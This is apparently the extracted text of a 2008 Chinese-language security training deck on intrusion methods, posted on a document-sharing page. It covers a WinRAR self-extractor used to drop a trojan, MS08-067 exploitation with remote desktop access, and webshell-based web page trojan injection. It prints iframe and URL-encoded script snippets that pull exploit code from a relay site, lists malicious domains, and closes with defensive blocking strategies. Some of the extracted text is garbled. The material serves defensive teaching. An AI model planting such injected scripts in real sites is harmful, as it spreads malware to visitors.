<4D F736F F F696E74202D A67EABD7A7F0A8BEA4E2AA6BBEE3B27AB1B4B0515FC1BFB8712E BACDBAE65BCD2A6A15D>

Size: px

Start display at page:

Download "<4D F736F F F696E74202D A67EABD7A7F0A8BEA4E2AA6BBEE3B27AB1B4B0515FC1BFB8712E BACDBAE65BCD2A6A15D>"

螳夏单
5 years ago
Views:

1 2008 年度年度攻防手法整理探討案例 : 利用 WINRAR 壓縮程式漏洞掛馬 1

2 入侵環境條件 : 具有 MS wmf 漏洞的電腦安裝 WINRAR 壓縮 / 解壓縮軟體手法探討 : 製造遠端遙控型木馬 ( 原生型木馬 ) 製造 MS 漏洞工具撰寫呼叫 wmf 檔案的掛馬網址使用 WINRAR 製做具有 XSS 的自動解壓縮檔案被害人點選自動解壓縮檔案後植入反向連結木馬可穿越防火牆傳出資料缺點缺點 : 目標換了 WINRAR 壓縮 / 解壓縮工具就沒效了修補了 MS 漏洞就不會被觸發 ( 但攻擊者可換成其它漏洞 ) 2

3 案例 : 利用 Metasploit 滲透工具的弱點入侵開啟遠端桌面服務入侵環境條件 : 具有 MS 的電腦在受影響的系統上收到蓄意製作的 RPC 要求, 則該弱點可能會允許遠端執行程式碼 ecurity/bulletin/ms mspx 常見於具有本機使用者帳號的電腦 Windows 平台均有內建終端機服務 ( 遠端桌面 ) 操作遠端桌面時被害人不易有感覺 3

4 4

5 手法探討 : 先掃描取得具有漏洞的電腦使用 MS08-067(MS06-040) 067(MS06 040) 漏洞工具使用 DOS 語法加入帳號與群組取得權限啟動終端機服務 ( 遠端桌面 ) 使用遠端桌面遙控缺點 : 不能跨越 Router & VLAN 僅適合於區網及無線網路環境案例 : 入侵網站後利用 webshell 掛馬或竊取資料 5

6 主題一 : 什麼是 Webshell: 使用 Webshell: 何謂網站網頁掛馬 : 網站網頁掛馬語法 : Webshell 所延伸的問題 : 什麼是 Webshell: WebShell: 簡單就是一個 asp 或 php 木馬的後門程式該程式就是撰寫 asp 或 php 語法並已經添加好各種可以控制的指令撰寫出來的一個 Web 介面的檔案總管 ( 具有 FileSystemObject 的功能 ) 利用各種漏洞將此文件上傳放置於 Web Server 的根目錄中, 與正常的 asp 或 php 程式檔案混在一起然目錄中與正常的 asp 或 php 程式檔案混在起然後攻擊者就可以用 Web 的方式透過該 asp 或 php 木馬來控制 Web Server, 包含上下載文件新增帳號添加其它木馬或添加 <iframe> 於網頁中特稱為掛馬 6

7 模擬案例 :JS 與論壇掛馬入侵過程目標 : 攻陷 XYZ 公司使該公司之客戶植入木馬, 完成後竊取個資觀察 : 該公司除 XYZ 網站外仍在同台 Web Server 中並有架設 Dvbbs 論壇模擬案例 :JS 與論壇掛馬入侵過程入侵前準備 : 製作 MS MS MS 的 Exploits 程式來呼叫木馬於 JavaScript 中撰寫 document.write( <iframe src= 存放 Exploits 的網址 width=0 height=0></iframe> ); 並存檔為 123.js 來呼叫 Exploits 將 123.js 檔案進行變型及加密來避免被防毒軟體查殺最後將 MS MS MS 的 Exploits 程式及製作好的 123.js 檔案放置於之跳板網站內 Muma 的目錄中備用 7

8 模擬案例 :JS 與論壇掛馬入侵過程入侵中過程 : 利用 Sniffer 技巧於 Dvbbs 論壇中截獲輸入於該論壇的 Cookie 利用該 Cookie 內儲存之帳號與密碼所取得之權限, 搭配論壇上傳程式, 將 WebShell (windows.asp) 上傳至該台 Web Server 的論壇目錄中於中確認 WebShell (windows.asp) 已經成功傳入目的是利用存放於 Dvbbs 論壇中的 WebShell 來將 XYZ 公司的網站掛馬 8

9 模擬案例 :JS 與論壇掛馬入侵過程入侵中過程 : 撰寫掛馬語法 <script language=javascript g src=' 為避免存放 123.js 的跳板網站 URL 網址被阻擋, 將該網址進行 URL 編碼來逃避偵測 <script language=javascript src=' 32%33%2E%31%30%31%2F%6D%75%6D%61/123.js ' > </script> 利用 WebShell (windows.asp) 將語法掛馬後, 查看 XYZ 公司網頁 HTML 原始碼是否有被異動模擬案例 :JS 與論壇掛馬入侵過程入侵後感染 : 當使用者瀏覽 XYA 公司的網站後, 變會觸發 HTML 內的掛馬語法感染流程 : URL 編碼的掛馬語法轉換跳板網站中的 123.js 解析 JS 內變型及加密的 Exploits 程式網址還原 Exploits 程式網址內的木馬程式植入 9

10 WebShell 流程駭客知名的官方網站 [ 入侵後上傳 ] Webshell ( 網頁木馬 ) 不知情的一般使用者首頁 [ 掛馬 ] 將首頁或其他網頁植入 <ifrme> 隱藏框架引導到跳版網站跳版網站木馬掛馬的網頁 (Demo) 手法探討 : 製造相關的木馬並放置在跳板網址主機上製造觸發 MS MS MS 漏洞的語法尋找具有 SQL Server 漏洞或程式瑕疵上傳 ASP 網馬 (Web Shell) 利用 Web Shell 將所屬網站褂上 <iframe> 等之惡意連結缺點 : Server 端及 Client 端均須利用很多漏洞, 如果不是管理者太粗心, 不會這麼剛好都中獎修正相關利用到的漏洞之後該手法就沒效了 10

11 2008/09~10 月新增惡意掛馬網址鏈結 www3.ss11qn.cn xyxy68.8u8.net tty.yyun.net 1.cool0.biz fuckuu.fs winzheng.126.com xx.com girlchinese.com dnd.3322.org 9i5t.cn real.kav2008.com gf.ccves.cn page.taobao.com good00.net search.taobao.com adasas.cn taobao.com net youlove.3322.net Isw.com yeapple.com ave2.cn 資料來源天罣 : 使用 Webshell: 攻擊者使用 WebShell 的優點 : 所以可以穿越防火牆因透過 80 port 所以可以穿越防火牆因為是在 Web Server 上透過 asp 或 php 程式來執行指令或語法, 所以閘道端的防禦設備不一定會攔截不會在閘道端系統留下 LOG, 只有 Web Server 與 DB 上的 LOG 會出現該 asp 或 php 程式有執行的記錄, 但權責分工之下 ( 網頁程式設計者資料庫管理師 Web bs Server 管理員資安人員 ) 沒有經驗的管理者或團隊很難判讀 LOG Web 植入木馬 ( 掛馬 ) 通常都是只有把植入的語法拿掉而已, 如果沒有刪除真正在運作的 WebShell, 那再次掛馬指日可待 11

12 使用 Webshell: 使用 WebShell 的缺點 : 最關鍵的步驟為 : 如何把 WebShell 上傳至目標 Web Server 的目錄之下常利用的手法 : 1. 利用 Web Server 本身的漏洞 ( 最好用手法 ) 2. 利用 SQL Injection 的漏洞搭配其他上傳指令或 tftp 工具 ( 最常見手法 ) 3. 利用 XSS 語法使網頁設計師的電腦中木馬, 使其在更新網頁檔案時一並更新進去 Web Server 何謂網站網頁掛馬 : 掛馬 : 掛馬這個行為就是駭客採用系統漏洞網頁漏洞 SQL Injection XSS 等技巧入侵了一些網站後, 將自己編寫的網頁木馬語法嵌入被駭網站的主頁中, 利用被駭網站的流量將自己的網頁木馬傳播開去, 以達到自己植入真正木馬的目的註 : 也可能先入侵後再上傳網頁木馬稱為 WebShell, 註 : 也可能先入侵後再上傳網頁木馬稱為 WebShell, 再利用該木馬將其它正常網頁掛馬好處是只要原來的 WebShell 不被殺掉, 就可一直重複掛馬 12

13 Webshell 所延伸的問題 : 攻擊者採用 Webshell 掛馬, 是屬於? 1. 閘道端的問題? 沒有阻擋攻擊來源? 2.Web Server 的問題? 沒有檢查 LOG? 3. 應用程式的問題? 產生 SQL Injaction? 4. 資料庫的問題? 後端權限太大? 5. 防毒軟體的問題? 沒有攔截到網頁木馬? 6. 漏洞修補的問題? 沒有修補程式漏洞? 7. 使用行為的問題? 為什麼要亂逛網站? 防禦策略 Webshell 阻擋點之一 Webshell 阻擋點之二 Webshell 阻擋點之三 Webshell 阻擋點之四 13

14 Webshell 阻擋點之一駭客知名的官方網站 [ 上傳 ] 具 FSO 功能的網頁木馬首頁不知情的一般使用者跳版網站阻擋策略 : 設備網頁應用程式防火牆封鎖異常來源 IP 入侵偵測系統 IDS/IDP 觀察異常封包服務搜尋引擎的阻擋弱點掃描滲透測試防毒牆 ( 由外到內 ) 阻擋傳入的木馬 14

15 Webshell 阻擋點之二駭客知名的官方網站 [ 上傳 ] 具 FSO 功能的網頁木馬不知情的一般使用者首頁 [ 掛馬 ] 將首頁或其他網頁植入 <ifrme> 隱藏框架引導到跳版網站跳版網站 15

16 阻擋策略 : 設備 SUS / WSUS 修補系統漏洞 Web DB 的權限控管企業型防毒軟體及防間諜軟體 LOG 及事件分析軟體服務搜尋引擎的阻擋弱點掃描滲透測試程式碼檢測檢視與設定資料夾權限移除不需要及罕用的服務變更系統與 Web 相關預設值 Web 與 DB 的備份軟體 Webshell 阻擋點之三駭客知名的官方網站首頁不知情的一般使用者跳版網站原生型木馬漏洞型網馬 16

17 阻擋策略 : 設備網頁應用程式防火牆封鎖異常來源 IP 入侵偵測系統 IDS/IDP 觀察異常封包服務收集易被植入或經常感染的網址成為黑名單防毒牆 ( 由內到外 ) 阻擋傳輸的木馬 Proxy Server 的黑白名單網址過濾或攔截的設備與軟體 Webshell 阻擋點之四駭客知名的官方網站不知情的一般使用者跳版網站 17

18 阻擋策略 : 設備 Windows Update / Microsoft Update 修補系統漏洞單機型防毒軟體及防間諜軟體個人單機型防火牆服務善用線上掃毒比對不同防毒本機 HOSTS 惡意網址清單改用其它瀏覽器可以改善 ( 但不能完全避免 ) 網頁瀏覽安全防護軟體個人資料的備份軟體問題與討論網路攻防戰部落格 18

Microsoft PowerPoint - Web入侵+手機安全_講義.ppt [相容模式]

Microsoft PowerPoint - Web入侵+手機安全_講義.ppt [相容模式] 網路攻防戰之 Web 2.0 網站手法與防範大綱 Web Server 入侵手法常見的漏洞利用介紹網頁木馬簡介論壇套件漏洞介紹 SQL Injection & XSS 手法介紹 Web Server 防禦策略駭客攻擊 Web 之阻擋方式惡意連結網站清單建置社群 web2.0 網站之注意事項 Web Server 入侵手法 Microsoft 漏洞利用網頁木馬論壇套件漏洞利用 SQL